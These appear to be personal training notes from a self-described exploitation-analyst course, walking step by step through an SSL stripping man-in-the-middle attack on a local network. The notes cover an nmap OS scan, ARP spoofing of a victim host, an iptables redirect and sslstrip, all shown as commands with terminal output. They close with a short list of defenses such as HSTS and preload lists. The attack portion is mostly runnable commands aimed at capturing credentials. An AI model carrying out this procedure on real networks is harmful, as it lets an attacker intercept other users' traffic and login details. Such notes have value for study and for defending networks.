

Day 5

Exploitation Analyst

Hacking the SSL Network protocol:

SSL Stripping:

YouTube:

1. <https://youtu.be/99YNg8UAesI?si=EosGL3bARGJb8hdO>
2. <https://youtu.be/Dnw1ZDVXz8?si=Bf11MdsUEba-WlqC>

How websites manage to connect HTTPS always?

Websites manage HTTP to HTTPS redirection by issuing a 301/302 redirect from the server, using security headers like HSTS (HTTP Strict Transport Security) to force browsers to use HTTPS, and registering in browser preload lists to block any initial HTTP connection. Frameworks also offer middleware to enforce HTTPS by default.

Is it true that websites always first try to connect to HTTP?

Yes, in most cases, the first request from the browser is HTTP if the user types a URL without specifying https://. For example, entering example.com or www.example.com in the address bar typically defaults to:

http://example.com

However, this is only true if:

- The domain is not in the browser's HSTS preload list, and
- The site has not been visited recently with an HSTS header already cached.

Once a site sends an HSTS header, or if it's preloaded, the browser automatically upgrades future HTTP attempts to HTTPS before making the request.

So:

- Yes, first-time visits to a non-HSTS site typically start as HTTP.
- No, if HSTS is already cached or preloaded, it goes directly to HTTPS.

How to perform SSL stripping:

What is SSL Stripping?

SSL stripping is a type of Man-in-the-Middle (MITM) attack where the attacker intercepts a user's HTTP request and prevents the automatic upgrade to HTTPS by downgrading the connection. Instead of forwarding the user's request securely over HTTPS, the attacker serves the site over unencrypted HTTP, allowing them to capture sensitive data like login credentials in plain text. This attack exploits the fact that many users or browsers initially connect to websites via HTTP before being redirected to HTTPS.

Steps:

Install ssl strip:

```
(root@kali) ~# apt install sslstrip

The following packages were automatically installed and are no longer required:
  cpdb-backend-cups libdaxctl1 libgspell-1-2 libpmm1 libunwind-16t64 python3-pluggy ruby-fiber-local ruby-rqr-code-core
  firebird3.0-common libdirectfb-1.7-7t64 libgtksourceview-3.0-1 libpoppler-cpp1 libunwind8:1386 python3-pytdata ruby-ruby2-keywords
  fonts-liberation2 libdmi164:i386 libgtksourceviewmm-3.0-0v5 libpoppler134 libwebRTC-audio-processing libunwind0 ruby-rubover ruby-ruby2-keywords
  freerdp2-x11 libegl-dev libgumbo2 libpostproc57 libwinpr2-2t64 libx265-199 libx265-209:1386 python3-setproctitle ruby-simple-socket
  golang-1.23-src libflac12t64 libhttp-parser2.9 libb265-199 libb265-209:1386 python3-setup-tools scm ruby-http ruby-slack-notifier
  golang-1.23-src libflac12t64:i386 libb265-199 libb265-209:1386 python3-trove-classifiers ruby-http-form-data ruby-sync
  hydra-gtk libb265-199 libb265-209:1386 libb265-209:1386 libb265-209:1386 python3.11 ruby-http-parser ruby-term-ansicolor
  libverbs-providers libfreerdp-client2-2t64 libb265-199 libb265-209:1386 python3.11-dev ruby-http-parser.rb ruby-thread-safe
  lame libfreerdp2-2t64 libb265-199 libb265-209:1386 python3.11-minimal ruby-maxmind-db ruby-tilt
  libarmadillo102 libgedit-gtksourceview-300-0 libb265-199 libb265-209:1386 python3.12-dev ruby-memorable ruby-timers
  libassuan0 libgedit-gtksourceview-300-0 libb265-199 libb265-209:1386 python3.12-dev ruby-mojomagic ruby-tins
  libavfilter9 libgeo3.12.1t64 libbsoncpp25 libqt5sensors5 node-cjs-module-lexer ruby-activerecord ruby-msfrpc-client ruby-twitter
  libbfr10 libgeo3.12.2 libb265-199 libb265-209:1386 node-undici ruby-ansi ruby-daemons ruby-parseconfig ruby-zeitwerk
  libblosc2-3 libgeo3.13.0 libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-em-websocket ruby-multipart-post ruby3.1
  libboost-iostreams1.83.0 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-async dns ruby-mustermann ruby3.1-dev
  libboost-thread1.83.0 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-async dns ruby-naught ruby-samba-vfs-modules
  libca++-16t64 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libcapstone4 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libcephfs2 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libconfig+9v5 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libconfig-dev libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libcpdb-frontent2t64 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libcpdb2t64 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libcupsfilters2 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libcupsfilters2-common libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules

Use 'apt autoremove' to remove them.

Installing:
  sslstrip

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 131
  Download size: 12.1 kB
  Space needed: 61.4 kB / 38.4 GB available

Get:1 http://http.kali.org/kali-rolling/main amd64 sslstrip all 1.0+git2021125.9ac747b-0kali2 [12.1 kB]
Fetched 12.1 kB in 1s (20.9 kB/s)
Selecting previously unselected package sslstrip.
(Reading database ... 551028 files and directories currently installed.)
Preparing to unpack .../sslstrip_1.0+git2021125.9ac747b-0kali2_all.deb ...
Unpacking sslstrip (1.0+git2021125.9ac747b-0kali2) ...
```

Then install dsniff:

```
(root@kali) ~# apt install dsniff

dsniff is already the newest version (2.4b1+debian-34).
dsniff set to manually installed.
The following packages were automatically installed and are no longer required:
  cpdb-backend-cups libdaxctl1 libgspell-1-2 libpmm1 libunwind-16t64 python3-pluggy ruby-fiber-local ruby-rqr-code-core
  firebird3.0-common libdirectfb-1.7-7t64 libgtksourceview-3.0-1 libpoppler-cpp1 libunwind8:1386 python3-pytdata ruby-ruby2-keywords
  fonts-liberation2 libdmi164:i386 libgtksourceviewmm-3.0-0v5 libpoppler134 libwebRTC-audio-processing libunwind0 ruby-rubover ruby-ruby2-keywords
  freerdp2-x11 libegl-dev libgumbo2 libpostproc57 libwinpr2-2t64 libx265-199 libx265-209:1386 python3-setproctitle ruby-simple-socket
  golang-1.23-src libflac12t64 libhttp-parser2.9 libb265-199 libb265-209:1386 python3-setup-tools scm ruby-http ruby-slack-notifier
  golang-1.23-src libflac12t64:i386 libb265-199 libb265-209:1386 python3-trove-classifiers ruby-http-form-data ruby-sync
  hydra-gtk libb265-199 libb265-209:1386 libb265-209:1386 libb265-209:1386 python3.11 ruby-http-parser ruby-term-ansicolor
  libverbs-providers libfreerdp-client2-2t64 libb265-199 libb265-209:1386 python3.11-dev ruby-http-parser.rb ruby-thread-safe
  lame libfreerdp2-2t64 libb265-199 libb265-209:1386 python3.11-minimal ruby-maxmind-db ruby-tilt
  libarmadillo102 libgedit-gtksourceview-300-0 libb265-199 libb265-209:1386 python3.12-dev ruby-memorable ruby-timers
  libassuan0 libgedit-gtksourceview-300-0 libb265-199 libb265-209:1386 python3.12-dev ruby-mojomagic ruby-tins
  libavfilter9 libgeo3.12.1t64 libbsoncpp25 libqt5sensors5 node-cjs-module-lexer ruby-activerecord ruby-msfrpc-client ruby-twitter
  libbfr10 libgeo3.12.2 libb265-199 libb265-209:1386 node-undici ruby-ansi ruby-daemons ruby-parseconfig ruby-zeitwerk
  libblosc2-3 libgeo3.13.0 libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-em-websocket ruby-multipart-post ruby3.1
  libboost-iostreams1.83.0 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-async dns ruby-mustermann ruby3.1-dev
  libboost-thread1.83.0 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-async dns ruby-naught ruby-samba-vfs-modules
  libca++-16t64 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libcapstone4 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libcephfs2 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libconfig+9v5 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libconfig-dev libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libcpdb-frontent2t64 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libcpdb2t64 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libcupsfilters2 libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules
  libcupsfilters2-common libgapi-mesa libb265-199 libb265-209:1386 node-xtend ruby-atomic ruby-naught ruby-samba-vfs-modules

Use 'apt autoremove' to remove them.

Summary:
  Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 131
```

Check if they are properly installed:

```
(root@kali) ~# sslstrip -h

sslstrip 1.0 by Moxie Marlinspike
Usage: sslstrip <options>

Options:
  -w <filename>, --write=<filename> Specify file to log to (optional).
  -p, --post Log only SSL POSTs. (default)
  -s, --ssl Log all SSL traffic to and from server.
  -a, --all Log all SSL and HTTP traffic to and from server.
  -l <port>, --listen=<port> Port to listen on (default 10000).
  -f, --favicon Substitute a lock favicon on secure requests.
  -k, --killsessions Kill sessions in progress.
  -h Print this help message.
```

```
(root@kali)-[~]
# dsniff -h
Version: 2.4
Usage: dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen]
          [-f services] [-t trigger[,...]] [-r|-w savefile]
          [expression]
```

To get the IP address of router use this command: IP of router is 192.168.1.1

```
(root@kali)-[~]
# route -n
Kernel IP routing table
Destination      Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0          192.168.1.1    0.0.0.0         UG    100    0      0 eth0
192.168.1.0      0.0.0.0        255.255.255.0   U     100    0      0 eth0
```

Now, to get the IP address of all the devices here on the router: nmap -sS -O 192.168.1.1/24

```
root@kali:~# nmap -sS -O 192.168.1.1/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-11 05:24 IST
Nmap scan report for 192.168.1.1
Host is up (0.0024s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
1900/tcp  open  upnp
MAC Address: CA:2B:2F:E6:41:F8 (Shenzhen Mercury Communication Technologies)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C3185 printer or Mercusys AC120 MAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8660MFP printer (92%), Fujitsu Extermus DX80 or IBM DC5900 NAS device (92%), VnWorks (92%), Avaya 4526
OTX switch (90%), Nortel C3800M VoIP PBX or Xerox Phaser 8660i printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5460zl, or 6280yl switch or UStarcom F1000 VoIP phone (87%), National Instruments CompactRIO automati
on controller (87%), Nortel Ethernet Routing Switch 4550F-PWR (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

Nmap scan report for 192.168.1.101
Host is up (0.012s latency).
All 1000 scanned ports on 192.168.1.101 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: EC:63:D7:5A:AA:00 (Intel Corporate)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

Nmap scan report for 192.168.1.103
Host is up (0.00051s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT      STATE SERVICE
7270/tcp  open  realserver
MAC Address: F4:6A:DD:54:D7:D5 (Liteon Technology)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 11|10|2008 (91%), FreeBSD 6.X (88%)
OS CPE: cpe:/o:microsoft:windows_11 cpe:/o:freebsd:freebsd:6.2 cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_server_2008:beta3 cpe:/o:microsoft:windows_server_2008
Aggressive OS guesses: Microsoft Windows 11 21H2 (91%), FreeBSD 6.2-RELEASE (88%), Microsoft Windows 10 (88%), Microsoft Windows Server 2008 or 2008 Beta 3 (85%), Microsoft Windows 10 1607 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

Nmap scan report for 192.168.1.104
Host is up (0.000051s latency).
All 1000 scanned ports on 192.168.1.104 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop
```

Then we will note our own IP address: it is 192.168.1.104


```

(root@kali)-[~]
# arpspoof -i eth0 -t 192.168.1.1 192.168.1.103
8:0:27:d2:26:79 c0:25:2f:e6:41:f8 0806 42: arp reply 192.168.1.103 is-at 8:0:27:d2:26:79
8:0:27:d2:26:79 c0:25:2f:e6:41:f8 0806 42: arp reply 192.168.1.103 is-at 8:0:27:d2:26:79
8:0:27:d2:26:79 c0:25:2f:e6:41:f8 0806 42: arp reply 192.168.1.103 is-at 8:0:27:d2:26:79
8:0:27:d2:26:79 c0:25:2f:e6:41:f8 0806 42: arp reply 192.168.1.103 is-at 8:0:27:d2:26:79
8:0:27:d2:26:79 c0:25:2f:e6:41:f8 0806 42: arp reply 192.168.1.103 is-at 8:0:27:d2:26:79
8:0:27:d2:26:79 c0:25:2f:e6:41:f8 0806 42: arp reply 192.168.1.103 is-at 8:0:27:d2:26:79
8:0:27:d2:26:79 c0:25:2f:e6:41:f8 0806 42: arp reply 192.168.1.103 is-at 8:0:27:d2:26:79
8:0:27:d2:26:79 c0:25:2f:e6:41:f8 0806 42: arp reply 192.168.1.103 is-at 8:0:27:d2:26:79
8:0:27:d2:26:79 c0:25:2f:e6:41:f8 0806 42: arp reply 192.168.1.103 is-at 8:0:27:d2:26:79
8:0:27:d2:26:79 c0:25:2f:e6:41:f8 0806 42: arp reply 192.168.1.103 is-at 8:0:27:d2:26:79
8:0:27:d2:26:79 c0:25:2f:e6:41:f8 0806 42: arp reply 192.168.1.103 is-at 8:0:27:d2:26:79
8:0:27:d2:26:79 c0:25:2f:e6:41:f8 0806 42: arp reply 192.168.1.103 is-at 8:0:27:d2:26:79
8:0:27:d2:26:79 c0:25:2f:e6:41:f8 0806 42: arp reply 192.168.1.103 is-at 8:0:27:d2:26:79
8:0:27:d2:26:79 c0:25:2f:e6:41:f8 0806 42: arp reply 192.168.1.103 is-at 8:0:27:d2:26:79
8:0:27:d2:26:79 c0:25:2f:e6:41:f8 0806 42: arp reply 192.168.1.103 is-at 8:0:27:d2:26:79

```

Now, we are in the middle of this network. But still we are not done yet.

Now, open a new terminal and do:

```

root@kali: ~ 116x46
(root@kali)-[~]
# echo 1 > /proc/sys/net/ipv4/ip_forward

(root@kali)-[~]
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

(root@kali)-[~]
# sslstrip -l 8080

sslstrip 1.0 by Moxie Marlinspike running...
S

```

To get the credentials use the sslstrip.log: but since python 2 is downgraded. It will not work.

```

root@kali: ~ 116x46
(root@kali)-[~]
# cat sslstrip.log
2025-07-11 05:45:47,146 Host resolution error: [Failure instance: Traceback: <class 'TypeError': argument should be
integer or bytes-like object, not 'str'
/usr/lib/python3/dist-packages/twisted/internet/defer.py:1088:_runCallbacks
/usr/share/sslstrip/sslstrip/ClientRequest.py:94:handleHostResolvedSuccess
/usr/share/sslstrip/sslstrip/ClientRequest.py:70:getPathFromUri
]
2025-07-11 05:47:16,170 Host resolution error: [Failure instance: Traceback: <class 'TypeError': argument should be
integer or bytes-like object, not 'str'
/usr/lib/python3/dist-packages/twisted/internet/defer.py:1088:_runCallbacks
/usr/share/sslstrip/sslstrip/ClientRequest.py:94:handleHostResolvedSuccess
/usr/share/sslstrip/sslstrip/ClientRequest.py:70:getPathFromUri
]
2025-07-11 05:47:16,213 Host resolution error: [Failure instance: Traceback: <class 'TypeError': argument should be
integer or bytes-like object, not 'str'
/usr/lib/python3/dist-packages/twisted/internet/defer.py:1088:_runCallbacks
/usr/share/sslstrip/sslstrip/ClientRequest.py:94:handleHostResolvedSuccess
/usr/share/sslstrip/sslstrip/ClientRequest.py:70:getPathFromUri
]
2025-07-11 05:47:16,248 Host resolution error: [Failure instance: Traceback: <class 'TypeError': argument should be
integer or bytes-like object, not 'str'
/usr/lib/python3/dist-packages/twisted/internet/defer.py:1088:_runCallbacks
/usr/share/sslstrip/sslstrip/ClientRequest.py:94:handleHostResolvedSuccess
/usr/share/sslstrip/sslstrip/ClientRequest.py:70:getPathFromUri
]
2025-07-11 05:47:16,276 Host resolution error: [Failure instance: Traceback: <class 'TypeError': argument should be
integer or bytes-like object, not 'str'
/usr/lib/python3/dist-packages/twisted/internet/defer.py:1088:_runCallbacks
/usr/share/sslstrip/sslstrip/ClientRequest.py:94:handleHostResolvedSuccess

```

To defend against SSL Stripping:

- Implement HTTP Strict Transport Security (HSTS) to force browsers to use HTTPS only.
- Register your domain in the HSTS preload list to protect even first-time visitors.
- Use 301/302 redirects from HTTP to HTTPS at the server level as a backup.
- Educate users to manually type https:// when visiting websites.
- Use browser extensions like HTTPS Everywhere to auto-upgrade HTTP to HTTPS.
- Avoid using untrusted public Wi-Fi networks without a VPN, as they are common MITM attack points.

--The End--